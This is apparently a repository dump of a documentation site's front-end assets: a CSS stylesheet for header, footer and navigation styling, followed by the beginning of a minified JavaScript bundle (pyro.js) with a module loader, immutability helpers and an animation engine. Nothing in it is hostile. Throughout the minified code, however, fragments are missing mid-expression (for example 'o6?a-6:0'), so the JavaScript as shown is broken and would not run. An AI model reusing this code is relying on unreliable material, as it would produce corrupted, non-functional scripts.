url("../fonts/RobotoSlab/roboto-slab-v7-bold.ttf") format("truetype") } /* Pyro Extras */ header.header { position: fixed; left: 0%; top: 0%; right: auto; bottom: auto; z-index: 10; width: 100vw; background: #fff; z-index: 999; -webkit-transition: background-color 500ms ease; transition: background-color 500ms ease; } header .header-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; padding: 5px 62.5px; } header .btns-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } header .image { height: 25px; max-width: 100%; vertical-align: middle; display: inline-block; border: 0; } header .button { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 160px; height: 38px; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; border: 1px solid #052882; border-radius: 28px; background-color: #052882; box-shadow: 3px 3px 12px 2px #b3c3ea; -webkit-transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease; transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease; font-size: 16px; line-height: 1; text-align: center; color: #fff; font-weight: normal; text-decoration: none !important; } header .button.shadow-none { box-shadow: none; } header .button.shadow-none.white-btn { background-color: #fff; color: #052882; } header .button.shadow-none.white-btn.try-bc-btn { margin-left: 15px; } .button:hover { background-color: #fff; color: #052882; } .button.shadow-none.white-btn.try-bc-btn:hover { background-color: #052882; color: #fff; } .button.shadow-none:hover { background-color: #fff; color: #052883; } footer.footer { position: relative; width: 100vw; padding: 20px; background-color: #102971; z-index: 999; } footer .footer-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: start; -webkit-align-items: flex-start; -ms-flex-align: start; align-items: flex-start; } footer .footer-logo-wrapper { margin-right: 6vw; color: #fff; font-size: 15px; line-height: 18px; text-decoration: none; } footer .powered-text { margin-bottom: 5px; } footer img.bridge-logo { height: 40px; max-width: 100%; vertical-align: middle; display: inline-block; border: 0; } footer .footer-links-list { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; width: 45vw; margin-bottom: 0px; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; padding-left: 0; list-style: none; } footer .footer-li { width: 25%; margin-top: 0px; margin-bottom: 10px; font-size: 0.9vw; line-height: 1.5vw; font-weight: 200; } .footer-link { color: #fff; text-decoration: none; } footer .visit-on-text { margin-bottom: 5px; color: #fff; font-size: 0.9vw; line-height: 1.5vw; font-weight: 200; } footer .social-links { margin-top: 15px; } footer .single-social-link.first { margin-left: 0px; } footer .single-social-link { margin-right: 10px; margin-left: 10px; } footer .single-social-link.last { margin-right: 0px; } footer .social-img { height: 24px; } @media screen and (max-width: 1024px) { footer .footer-li .footer-link { background-image: linear-gradient(to bottom, currentColor 25%, transparent 25%); background-repeat: no-repeat; background-size: 0% 3px; background-position-x: right; background-position-y: bottom; padding-bottom: 3px; transition: background-size 0.3s, filter .6s, color .6s, opacity .6s !important; } footer .footer-li:hover .footer-link { background-position-x: left; background-size: 100% 3px; } } .dropdown-title { cursor: pointer; position: relative; } .dropdown-title::after { content: ""; position: absolute; top: 50%; left: 20px; background: url("../img/arrow.svg"); width: 10px; height: 10px; background-size: contain; background-repeat: no-repeat; background-position: center; transform: translateY(-50%); transition: transform .6s ease; } .dropdown.open .dropdown-title::after { transform: rotate(-180deg) translateY(40%); } .dropdown-content { height: 0px; overflow: hidden; transition: height .6s ease; } nav ul li.current ul { padding: 0 10px; } .wy-nav-content .rst-content { min-height: calc(100vh - 130px); display: flex; flex-direction: column; justify-content: space-between; } header i { display: none !important; } a { font-weight: 700; } a:hover { text-decoration: underline; } @media screen and (max-width: 1024px) { header .header-container { padding: 11.6px 62.5px; } h1 { font-size: 28px; line-height: 33px; } h2 { font-size: 20px; line-height: 24px; } header .btns-container { display: none; } header .header-container { -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } header .image { height: 25px; } .wy-grid-for-nav { padding-top: 50px; } .wy-nav-side { top: 108px; transition: left .6s ease; z-index: 9999; } .wy-nav-side.open { left: 0; } header i { display: block !important; position: absolute; left: 20px; top: 75%; transform: translateY(-50%); } footer.footer { padding-right: 40px; padding-left: 40px; } footer .footer-container { -webkit-box-orient: vertical; -webkit-box-direction: reverse; -webkit-flex-direction: column-reverse; -ms-flex-direction: column-reverse; flex-direction: column-reverse; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } footer .footer-logo-wrapper { margin-right: 0vw; } footer .footer-nav { margin-bottom: 10px; padding-bottom: 10px; width: 100%; -webkit-box-ordinal-group: 2; -webkit-order: 1; -ms-flex-order: 1; order: 1; border-bottom: 1px solid hsla(0, 0%, 100%, 0.75); } footer .footer-visit-on { margin-bottom: 20px; } footer .visit-on-text { font-size: 14px; line-height: 17px; text-align: center; } footer .social-img { height: 16px; } footer .footer-links-list { width: 100%; padding-left: 0px; } footer .footer-li { width: 50%; font-size: 14px; line-height: 17px; text-align: left; } footer .powered-text { font-size: 14px; line-height: 17px; text-align: center; } footer img.bridge-logo { height: 20px; } .wy-nav-side { width: 100vw; } .wy-side-nav-search input[type=text] { padding: 8px 0 8px 15px; } p { font-size: 14px; line-height: 18px; } } .header-bridgecrew{ border: 0px; background-color: #662eff; background-image: linear-gradient(-231deg, #7a49ff 0%, #662eff 100%); line-height: 25px; color: white; font-size: 14px; } .header-bridgecrew .header-container{ padding-top: 11.5px; padding-bottom: 11.5px; } .header-bridgecrew .btns-container a{ /* font-family: 'Work Sans', sans-serif; color: white; background-color: transparent; letter-spacing: 1.92px; text-transform: uppercase; line-height: 1.2em; display: inline-block; text-decoration: none; transition: all 0.25s ease; cursor: pointer; font-size: 0.88em; text-align: center; font-weight: normal; padding: 0.90em 2em;*/ font-family: 'Work Sans', sans-serif; border: 0px !important; background-color: transparent; border-radius: 0px; box-shadow: none; font-size: 16px; font-weight: 400; line-height: 25px; padding: 0px 10px; } .header-bridgecrew .btns-container .link{ } .header-bridgecrew .btns-container .btn{ border-radius: 25px; border: 2px solid white; } @media screen and (max-width: 1024px){ .header-bridgecrew .btns-container{ display: none; } } ================================================ FILE: docs/web/js/pyro.js ================================================ /*! * pyro: Front-end site library * @license MIT * Inline scripts may access the api using an async handler: * var pyro = pyro || []; * pyro.push(readyFunction); */!function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=101)}([function(t,e){t.exports=function(t){return t&&t.__esModule?t:{default:t}}},function(t,e){var n=Array.isArray;t.exports=n},function(t,e,n){"use strict";var r=n(16);Object.defineProperty(e,"__esModule",{value:!0}),e.IX2VanillaUtils=e.IX2VanillaPlugins=e.IX2Interactions=e.IX2Events=e.IX2ElementsReducer=e.IX2EngineConstants=e.IX2EngineItemTypes=e.IX2EngineEventTypes=e.IX2EngineActionTypes=e.IX2EasingUtils=e.IX2Easings=e.IX2BrowserSupport=void 0;var i=r(n(30));e.IX2BrowserSupport=i;var o=r(n(84));e.IX2Easings=o;var a=r(n(86));e.IX2EasingUtils=a;var u=r(n(88));e.IX2EngineActionTypes=u;var c=r(n(89));e.IX2EngineEventTypes=c;var s=r(n(47));e.IX2EngineItemTypes=s;var f=r(n(48));e.IX2EngineConstants=f;var l=r(n(188));e.IX2ElementsReducer=l;var d=r(n(189));e.IX2Events=d;var E=r(n(190));e.IX2Interactions=E;var p=r(n(90));e.IX2VanillaPlugins=p;var v=r(n(192));e.IX2VanillaUtils=v},function(t,e,n){var r=n(66),i="object"==typeof self&&self&&self.Object===Object&&self,o=r||i||Function("return this")();t.exports=o},function(t,e){t.exports=function(t){var e=typeof t;return null!=t&&("object"==e||"function"==e)}},function(t,e,n){var r=n(120),i=n(174),o=n(44),a=n(1),u=n(181);t.exports=function(t){return"function"==typeof t?t:null==t?o:"object"==typeof t?a(t)?i(t[0],t[1]):r(t):u(t)}},function(t,e,n){var r=n(132),i=n(137);t.exports=function(t,e){var n=i(t,e);return r(n)?n:void 0}},function(t,e){t.exports=function(t){return null!=t&&"object"==typeof t}},function(t,e,n){"use strict";var r={},i={},o=[],a=window.pyro||[],u=window.jQuery,c=u(window),s=u(document),f=u.isFunction,l=r._=n(103),d=r.tram=n(53)&&u.tram,E=!1,p=!1;function v(t){r.env()&&(f(t.design)&&c.on("__pr_design",t.design),f(t.preview)&&c.on("__pr_preview",t.preview)),f(t.destroy)&&c.on("__pr_destroy",t.destroy),t.ready&&f(t.ready)&&function(t){if(E)return void t.ready();if(l.contains(o,t.ready))return;o.push(t.ready)}(t)}function _(t){f(t.design)&&c.off("__pr_design",t.design),f(t.preview)&&c.off("__pr_preview",t.preview),f(t.destroy)&&c.off("__pr_destroy",t.destroy),t.ready&&f(t.ready)&&function(t){o=l.filter(o,function(e){return e!==t.ready})}(t)}d.config.hideBackface=!1,d.config.keepInherited=!0,r.define=function(t,e,n){i[t]&&_(i[t]);var r=i[t]=e(u,l,n)||{};return v(r),r},r.require=function(t){return i[t]},r.push=function(t){E?f(t)&&t():a.push(t)},r.env=function(t){var e=window.__pr_design,n=void 0!==e;return t?"design"===t?n&&e:"preview"===t?n&&!e:"slug"===t?n&&window.__pr_slug:"editor"===t?window.pyroEditor:"test"===t?window.__pr_test:"frame"===t?window!==window.top:void 0:n};var h,I=navigator.userAgent.toLowerCase(),T=r.env.touch="ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch,g=r.env.chrome=/chrome/.test(I)&&/Google/.test(navigator.vendor)&&parseInt(I.match(/chrome\/(\d+)\./)[1],10),O=r.env.ios=/(ipod|iphone|ipad)/.test(I);r.env.safari=/safari/.test(I)&&!g&&!O,T&&s.on("touchstart mousedown",function(t){h=t.target}),r.validClick=T?function(t){return t===h||u.contains(t,h)}:function(){return!0};var y,m="resize.pyro orientationchange.pyro load.pyro";function A(t,e){var n=[],r={};return r.up=l.throttle(function(t){l.each(n,function(e){e(t)})}),t&&e&&t.on(e,r.up),r.on=function(t){"function"==typeof t&&(l.contains(n,t)||n.push(t))},r.off=function(t){n=arguments.length?l.filter(n,function(e){return e!==t}):[]},r}function S(t){f(t)&&t()}function R(){y&&(y.reject(),c.off("load",y.resolve)),y=new u.Deferred,c.on("load",y.resolve)}r.resize=A(c,m),r.scroll=A(c,"scroll.pyro resize.pyro orientationchange.pyro load.pyro"),r.redraw=A(),r.location=function(t){window.location=t},r.env()&&(r.location=function(){}),r.ready=function(){E=!0,p?(p=!1,l.each(i,v)):l.each(o,S),l.each(a,S),r.resize.up()},r.load=function(t){y.then(t)},r.destroy=function(t){t=t||{},p=!0,c.triggerHandler("__pr_destroy"),null!=t.domready&&(E=t.domready),l.each(i,_),r.resize.off(),r.scroll.off(),r.redraw.off(),o=[],a=[],"pending"===y.state()&&R()},u(r.ready),R(),t.exports=window.pyro=r},function(t,e,n){var r=n(11),i=n(133),o=n(134),a="[object Null]",u="[object Undefined]",c=r?r.toStringTag:void 0;t.exports=function(t){return null==t?void 0===t?u:a:c&&c in Object(t)?i(t):o(t)}},function(t,e,n){var r=n(65),i=n(38);t.exports=function(t){return null!=t&&i(t.length)&&!r(t)}},function(t,e,n){var r=n(3).Symbol;t.exports=r},function(t,e,n){var r=n(25),i=1/0;t.exports=function(t){if("string"==typeof t||r(t))return t;var e=t+"";return"0"==e&&1/t==-i?"-0":e}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t};e.clone=c,e.addLast=l,e.addFirst=d,e.removeLast=E,e.removeFirst=p,e.insert=v,e.removeAt=_,e.replaceAt=h,e.getIn=I,e.set=T,e.setIn=g,e.update=O,e.updateIn=y,e.merge=m,e.mergeDeep=A,e.mergeIn=S,e.omit=R,e.addDefaults=N; /*! * Timm * * Immutability helpers with fast reads and acceptable writes. * * @copyright Guillermo Grau Panea 2016 * @license MIT */ var i="INVALID_ARGS";function o(t){throw new Error(t)}function a(t){var e=Object.keys(t);return Object.getOwnPropertySymbols?e.concat(Object.getOwnPropertySymbols(t)):e}var u={}.hasOwnProperty;function c(t){if(Array.isArray(t))return t.slice();for(var e=a(t),n={},r=0;r3?l-3:0),E=3;E=t.length||e<0?t:t.slice(0,e).concat(t.slice(e+1))}function h(t,e,n){if(t[e]===n)return t;for(var r=t.length,i=Array(r),o=0;o6?a-6:0),c=6;c6?a-6:0),c=6;c7?c-7:0),l=7;l=0||(o[f]=t[f])}return o}function N(t,e,n,r,i,o){for(var a=arguments.length,u=Array(a>6?a-6:0),c=6;c-1&&t%1==0&&t-1&&t%1==0&&t<=n}},function(t,e,n){var r=n(40),i=n(169),o=Object.prototype.hasOwnProperty;t.exports=function(t){if(!r(t))return i(t);var e=[];for(var n in Object(t))o.call(t,n)&&"constructor"!=n&&e.push(n);return e}},function(t,e){var n=Object.prototype;t.exports=function(t){var e=t&&t.constructor;return t===("function"==typeof e&&e.prototype||n)}},function(t,e,n){var r=n(170),i=n(32),o=n(171),a=n(172),u=n(76),c=n(9),s=n(67),f=s(r),l=s(i),d=s(o),E=s(a),p=s(u),v=c;(r&&"[object DataView]"!=v(new r(new ArrayBuffer(1)))||i&&"[object Map]"!=v(new i)||o&&"[object Promise]"!=v(o.resolve())||a&&"[object Set]"!=v(new a)||u&&"[object WeakMap]"!=v(new u))&&(v=function(t){var e=c(t),n="[object Object]"==e?t.constructor:void 0,r=n?s(n):"";if(r)switch(r){case f:return"[object DataView]";case l:return"[object Map]";case d:return"[object Promise]";case E:return"[object Set]";case p:return"[object WeakMap]"}return e}),t.exports=v},function(t,e,n){var r=n(24),i=n(12);t.exports=function(t,e){for(var n=0,o=(e=r(e,t)).length;null!=t&&n0&&void 0!==arguments[0]?arguments[0]:1;return{type:_,payload:{step:t}}};e.eventStateChanged=function(t,e){return{type:h,payload:{stateKey:t,newState:e}}};e.animationFrameChanged=function(t,e){return{type:I,payload:{now:t,parameters:e}}};e.parameterChanged=function(t,e){return{type:T,payload:{key:t,value:e}}};e.instanceAdded=function(t){return{type:g,payload:(0,i.default)({},t)}};e.instanceStarted=function(t,e){return{type:O,payload:{instanceId:t,time:e}}};e.instanceRemoved=function(t){return{type:y,payload:{instanceId:t}}};e.elementStateChanged=function(t,e,n,r){return{type:m,payload:{elementId:t,actionTypeId:e,current:n,actionItem:r}}};e.actionListPlaybackChanged=function(t){var e=t.actionListId,n=t.isPlaying;return{type:A,payload:{actionListId:e,isPlaying:n}}};e.viewportWidthChanged=function(t){var e=t.width,n=t.mediaQueries;return{type:S,payload:{width:e,mediaQueries:n}}};e.mediaQueriesDefined=function(){return{type:R,payload:{}}}},function(t,e,n){var r=n(98),i=n(51);function o(t,e){this.__wrapped__=t,this.__actions__=[],this.__chain__=!!e,this.__index__=0,this.__values__=void 0}o.prototype=r(i.prototype),o.prototype.constructor=o,t.exports=o},function(t,e){t.exports=function(){}},function(t,e,n){var r=n(98),i=n(51),o=4294967295;function a(t){this.__wrapped__=t,this.__actions__=[],this.__dir__=1,this.__filtered__=!1,this.__iteratees__=[],this.__takeCount__=o,this.__views__=[]}a.prototype=r(i.prototype),a.prototype.constructor=a,t.exports=a},function(t,e,n){"use strict";var r=n(0)(n(15));window.tram=function(t){function e(t,e){return(new G.Bare).init(t,e)}function n(t){return t.replace(/[A-Z]/g,function(t){return"-"+t.toLowerCase()})}function i(t){var e=parseInt(t.slice(1),16);return[e>>16&255,e>>8&255,255&e]}function o(t,e,n){return"#"+(1<<24|t<<16|e<<8|n).toString(16).slice(1)}function a(){}function u(t,e,n){s("Units do not match ["+t+"]: "+e+", "+n)}function c(t,e,n){if(void 0!==e&&(n=e),void 0===t)return n;var r=n;return $.test(t)||!Z.test(t)?r=parseInt(t,10):Z.test(t)&&(r=1e3*parseFloat(t)),0>r&&(r=0),r==r?r:n}function s(t){H.debug&&window&&window.console.warn(t)}var f=function(t,e,n){function i(t){return"object"==(0,r.default)(t)}function o(t){return"function"==typeof t}function a(){}return function r(u,c){function s(){var t=new f;return o(t.init)&&t.init.apply(t,arguments),t}function f(){}c===n&&(c=u,u=Object),s.Bare=f;var l,d=a[t]=u[t],E=f[t]=s[t]=new a;return E.constructor=s,s.mixin=function(e){return f[t]=s[t]=r(s,e)[t],s},s.open=function(t){if(l={},o(t)?l=t.call(s,E,d,s,u):i(t)&&(l=t),i(l))for(var n in l)e.call(l,n)&&(E[n]=l[n]);return o(E.init)||(E.init=u),s},s.open(c)}}("prototype",{}.hasOwnProperty),l={ease:["ease",function(t,e,n,r){var i=(t/=r)*t,o=i*t;return e+n*(-2.75*o*i+11*i*i+-15.5*o+8*i+.25*t)}],"ease-in":["ease-in",function(t,e,n,r){var i=(t/=r)*t,o=i*t;return e+n*(-1*o*i+3*i*i+-3*o+2*i)}],"ease-out":["ease-out",function(t,e,n,r){var i=(t/=r)*t,o=i*t;return e+n*(.3*o*i+-1.6*i*i+2.2*o+-1.8*i+1.9*t)}],"ease-in-out":["ease-in-out",function(t,e,n,r){var i=(t/=r)*t,o=i*t;return e+n*(2*o*i+-5*i*i+2*o+2*i)}],linear:["linear",function(t,e,n,r){return n*t/r+e}],"ease-in-quad":["cubic-bezier(0.550, 0.085, 0.680, 0.530)",function(t,e,n,r){return n*(t/=r)*t+e}],"ease-out-quad":["cubic-bezier(0.250, 0.460, 0.450, 0.940)",function(t,e,n,r){return-n*(t/=r)*(t-2)+e}],"ease-in-out-quad":["cubic-bezier(0.455, 0.030, 0.515, 0.955)",function(t,e,n,r){return(t/=r/2)<1?n/2*t*t+e:-n/2*(--t*(t-2)-1)+e}],"ease-in-cubic":["cubic-bezier(0.550, 0.055, 0.675, 0.190)",function(t,e,n,r){return n*(t/=r)*t*t+e}],"ease-out-cubic":["cubic-bezier(0.215, 0.610, 0.355, 1)",function(t,e,n,r){return n*((t=t/r-1)*t*t+1)+e}],"ease-in-out-cubic":["cubic-bezier(0.645, 0.045, 0.355, 1)",function(t,e,n,r){return(t/=r/2)<1?n/2*t*t*t+e:n/2*((t-=2)*t*t+2)+e}],"ease-in-quart":["cubic-bezier(0.895, 0.030, 0.685, 0.220)",function(t,e,n,r){return n*(t/=r)*t*t*t+e}],"ease-out-quart":["cubic-bezier(0.165, 0.840, 0.440, 1)",function(t,e,n,r){return-n*((t=t/r-1)*t*t*t-1)+e}],"ease-in-out-quart":["cubic-bezier(0.770, 0, 0.175, 1)",function(t,e,n,r){return(t/=r/2)<1?n/2*t*t*t*t+e:-n/2*((t-=2)*t*t*t-2)+e}],"ease-in-quint":["cubic-bezier(0.755, 0.050, 0.855, 0.060)",function(t,e,n,r){return n*(t/=r)*t*t*t*t+e}],"ease-out-quint":["cubic-bezier(0.230, 1, 0.320, 1)",function(t,e,n,r){return n*((t=t/r-1)*t*t*t*t+1)+e}],"ease-in-out-quint":["cubic-bezier(0.860, 0, 0.070, 1)",function(t,e,n,r){return(t/=r/2)<1?n/2*t*t*t*t*t+e:n/2*((t-=2)*t*t*t*t+2)+e}],"ease-in-sine":["cubic-bezier(0.470, 0, 0.745, 0.715)",function(t,e,n,r){return-n*Math.cos(t/r*(Math.PI/2))+n+e}],"ease-out-sine":["cubic-bezier(0.390, 0.575, 0.565, 1)",function(t,e,n,r){return n*Math.sin(t/r*(Math.PI/2))+e}],"ease-in-out-sine":["cubic-bezier(0.445, 0.050, 0.550, 0.950)",function(t,e,n,r){return-n/2*(Math.cos(Math.PI*t/r)-1)+e}],"ease-in-expo":["cubic-bezier(0.950, 0.050, 0.795, 0.035)",function(t,e,n,r){return 0===t?e:n*Math.pow(2,10*(t/r-1))+e}],"ease-out-expo":["cubic-bezier(0.190, 1, 0.220, 1)",function(t,e,n,r){return t===r?e+n:n*(1-Math.pow(2,-10*t/r))+e}],"ease-in-out-expo":["cubic-bezier(1, 0, 0, 1)",function(t,e,n,r){return 0===t?e:t===r?e+n:(t/=r/2)<1?n/2*Math.pow(2,10*(t-1))+e:n/2*(2-Math.pow(2,-10*--t))+e}],"ease-in-circ":["cubic-bezier(0.600, 0.040, 0.980, 0.335)",function(t,e,n,r){return-n*(Math.sqrt(1-(t/=r)*t)-1)+e}],"ease-out-circ":["cubic-bezier(0.075, 0.820, 0.165, 1)",function(t,e,n,r){return n*Math.sqrt(1-(t=t/r-1)*t)+e}],"ease-in-out-circ":["cubic-bezier(0.785, 0.135, 0.150, 0.860)",function(t,e,n,r){return(t/=r/2)<1?-n/2*(Math.sqrt(1-t*t)-1)+e:n/2*(Math.sqrt(1-(t-=2)*t)+1)+e}],"ease-in-back":["cubic-bezier(0.600, -0.280, 0.735, 0.045)",function(t,e,n,r,i){return void 0===i&&(i=1.70158),n*(t/=r)*t*((i+1)*t-i)+e}],"ease-out-back":["cubic-bezier(0.175, 0.885, 0.320, 1.275)",function(t,e,n,r,i){return void 0===i&&(i=1.70158),n*((t=t/r-1)*t*((i+1)*t+i)+1)+e}],"ease-in-out-back":["cubic-bezier(0.680, -0.550, 0.265, 1.550)",function(t,e,n,r,i){return void 0===i&&(i=1.70158),(t/=r/2)<1?n/2*t*t*((1+(i*=1.525))*t-i)+e:n/2*((t-=2)*t*((1+(i*=1.525))*t+i)+2)+e}]},d={"ease-in-back":"cubic-bezier(0.600, 0, 0.735, 0.045)","ease-out-back":"cubic-bezier(0.175, 0.885, 0.320, 1)","ease-in-out-back":"cubic-bezier(0.680, 0, 0.265, 1)"},E=document,p=window,v="bkwld-tram",_=/[\-\.0-9]/g,h=/[A-Z]/,I="number",T=/^(rgb|#)/,g=/(em|cm|mm|in|pt|pc|px)$/,O=/(em|cm|mm|in|pt|pc|px|%)$/,y=/(deg|rad|turn)$/,m="unitless",A=/(all|none) 0s ease 0s/,S=/^(width|height)$/,R=" ",N=E.createElement("a"),b=["Webkit","Moz","O","ms"],C=["-webkit-","-moz-","-o-","-ms-"],L=function(t){if(t in N.style)return{dom:t,css:t};var e,n,r="",i=t.split("-");for(e=0;es&&(s=t.span),t.stop(),t.animate(e)},function(t){"wait"in t&&(s=c(t.wait,0))}),d.call(this),s>0&&(this.timer=new W({duration:s,context:this}),this.active=!0,e&&(this.timer.complete=a));var p=this,v=!1,_={};D(function(){E.call(p,t,function(t){t.active&&(v=!0,_[t.name]=t.nextStyle)}),v&&p.$el.css(_)})}}}function a(){if(this.timer&&this.timer.destroy(),this.active=!1,this.queue.length){var t=this.queue.shift();o.call(this,t.options,!0,t.args)}}function u(t){var e;this.timer&&this.timer.destroy(),this.queue=[],this.active=!1,"string"==typeof t?(e={})[t]=1:e="object"==(0,r.default)(t)&&null!=t?t:this.props,E.call(this,e,p),d.call(this)}function f(){u.call(this),this.el.style.display="none"}function l(){this.el.offsetHeight}function d(){var t,e,n=[];for(t in this.upstream&&n.push(this.upstream),this.props)(e=this.props[t]).active&&n.push(e.string);n=n.join(","),this.style!==n&&(this.style=n,this.el.style[w.transition.dom]=n)}function E(t,e,r){var o,a,u,c,s=e!==p,f={};for(o in t)u=t[o],o in q?(f.transform||(f.transform={}),f.transform[o]=u):(h.test(o)&&(o=n(o)),o in Q?f[o]=u:(c||(c={}),c[o]=u));for(o in f){if(u=f[o],!(a=this.props[o])){if(!s)continue;a=i.call(this,o)}e.call(this,a,u)}r&&c&&r.call(this,c)}function p(t){t.stop()}function _(t,e){t.set(e)}function I(t){this.$el.css(t)}function T(t,n){e[t]=function(){return this.children?function(t,e){var n,r=this.children.length;for(n=0;r>n;n++)t.apply(this.children[n],e);return this}.call(this,n,arguments):(this.el&&n.apply(this,arguments),this)}}e.init=function(e){if(this.$el=t(e),this.el=this.$el[0],this.props={},this.queue=[],this.style="",this.active=!1,H.keepInherited&&!H.fallback){var n=z(this.el,"transition");n&&!A.test(n)&&(this.upstream=n)}w.backface&&H.hideBackface&&Y(this.el,w.backface.css,"hidden")},T("add",i),T("start",o),T("wait",function(t){t=c(t,0),this.active?this.queue.push({options:t}):(this.timer=new W({duration:t,context:this,complete:a}),this.active=!0)}),T("then",function(t){return this.active?(this.queue.push({options:t,args:arguments}),void(this.timer.complete=a)):s("No active transition timer. Use start() or wait() before then().")}),T("next",a),T("stop",u),T("set",function(t){u.call(this,t),E.call(this,t,_,I)}),T("show",function(t){"string"!=typeof t&&(t="block"),this.el.style.display=t}),T("hide",f),T("redraw",l),T("destroy",function(){u.call(this),t.removeData(this.el,v),this.$el=this.el=null})}),G=f(F,function(e){function n(e,n){var r=t.data(e,v)||t.data(e,v,new F.Bare);return r.el||r.init(e),n?r.start(n):r}e.init=function(e,r){var i=t(e);if(!i.length)return this;if(1===i.length)return n(i[0],r);var o=[];return i.each(function(t,e){o.push(n(e,r))}),this.children=o,this}}),j=f(function(t){function e(){var t=this.get();this.update("auto");var e=this.get();return this.update(t),e}function n(t){var e=/rgba?\((\d+),\s*(\d+),\s*(\d+)/.exec(t);return(e?o(e[1],e[2],e[3]):t).replace(/#(\w)(\w)(\w)$/,"#$1$1$2$2$3$3")}var i=500,a="ease",u=0;t.init=function(t,e,n,r){this.$el=t,this.el=t[0];var o=e[0];n[2]&&(o=n[2]),K[o]&&(o=K[o]),this.name=o,this.type=n[1],this.duration=c(e[1],this.duration,i),this.ease=function(t,e,n){return void 0!==e&&(n=e),t in l?t:n}(e[2],this.ease,a),this.delay=c(e[3],this.delay,u),this.span=this.duration+this.delay,this.active=!1,this.nextStyle=null,this.auto=S.test(this.name),this.unit=r.unit||this.unit||H.defaultUnit,this.angle=r.angle||this.angle||H.defaultAngle,H.fallback||r.fallback?this.animate=this.fallback:(this.animate=this.transition,this.string=this.name+R+this.duration+"ms"+("ease"!=this.ease?R+l[this.ease][0]:"")+(this.delay?R+this.delay+"ms":""))},t.set=function(t){t=this.convert(t,this.type),this.update(t),this.redraw()},t.transition=function(t){this.active=!0,t=this.convert(t,this.type),this.auto&&("auto"==this.el.style[this.name]&&(this.update(this.get()),this.redraw()),"auto"==t&&(t=e.call(this))),this.nextStyle=t},t.fallback=function(t){var n=this.el.style[this.name]||this.convert(this.get(),this.type);t=this.convert(t,this.type),this.auto&&("auto"==n&&(n=this.convert(this.get(),this.type)),"auto"==t&&(t=e.call(this))),this.tween=new B({from:n,to:t,duration:this.duration,delay:this.delay,ease:this.ease,update:this.update,context:this})},t.get=function(){return z(this.el,this.name)},t.update=function(t){Y(this.el,this.name,t)},t.stop=function(){(this.active||this.nextStyle)&&(this.active=!1,this.nextStyle=null,Y(this.el,this.name,this.get()));var t=this.tween;t&&t.context&&t.destroy()},t.convert=function(t,e){if("auto"==t&&this.auto)return t;var i,o="number"==typeof t,a="string"==typeof t;switch(e){case I:if(o)return t;if(a&&""===t.replace(_,""))return+t;i="number(unitless)";break;case T:if(a){if(""===t&&this.original)return this.original;if(e.test(t))return"#"==t.charAt(0)&&7==t.length?t:n(t)}i="hex or rgb string";break;case g:if(o)return t+this.unit;if(a&&e.test(t))return t;i="number(px) or string(unit)";break;case O:if(o)return t+this.unit;if(a&&e.test(t))return t;i="number(px) or string(unit or %)";break;case y:if(o)return t+this.angle;if(a&&e.test(t))return t;i="number(deg) or string(angle)";break;case m:if(o)return t;if(a&&O.test(t))return t;i="number(unitless) or string(unit or %)"}return function(t,e){s("Type warning: Expected: ["+t+"] Got: ["+(0,r.default)(e)+"] "+e)}(i,t),t},t.redraw=function(){this.el.offsetHeight}}),V=f(j,function(t,e){t.init=function(){e.init.apply(this,arguments),this.original||(this.original=this.convert(this.get(),T))}}),X=f(j,function(t,e){t.init=function(){e.init.apply(this,arguments),this.animate=this.fallback},t.get=function(){return this.$el[this.name]()},t.update=function(t){this.$el[this.name](t)}}),U=f(j,function(t,e){function n(t,e){var n,r,i,o,a;for(n in t)i=(o=q[n])[0],r=o[1]||n,a=this.convert(t[n],i),e.call(this,r,a,i)}t.init=function(){e.init.apply(this,arguments),this.current||(this.current={},q.perspective&&H.perspective&&(this.current.perspective=H.perspective,Y(this.el,this.name,this.style(this.current)),this.redraw()))},t.set=function(t){n.call(this,t,function(t,e){this.current[t]=e}),Y(this.el,this.name,this.style(this.current)),this.redraw()},t.transition=function(t){var e=this.values(t);this.tween=new k({current:this.current,values:e,duration:this.duration,delay:this.delay,ease:this.ease});var n,r={};for(n in this.current)r[n]=n in e?e[n]:this.current[n];this.active=!0,this.nextStyle=this.style(r)},t.fallback=function(t){var e=this.values(t);this.tween=new k({current:this.current,values:e,duration:this.duration,delay:this.delay,ease:this.ease,update:this.update,context:this})},t.update=function(){Y(this.el,this.name,this.style(this.current))},t.style=function(t){var e,n="";for(e in t)n+=e+"("+t[e]+") ";return n},t.values=function(t){var e,r={};return 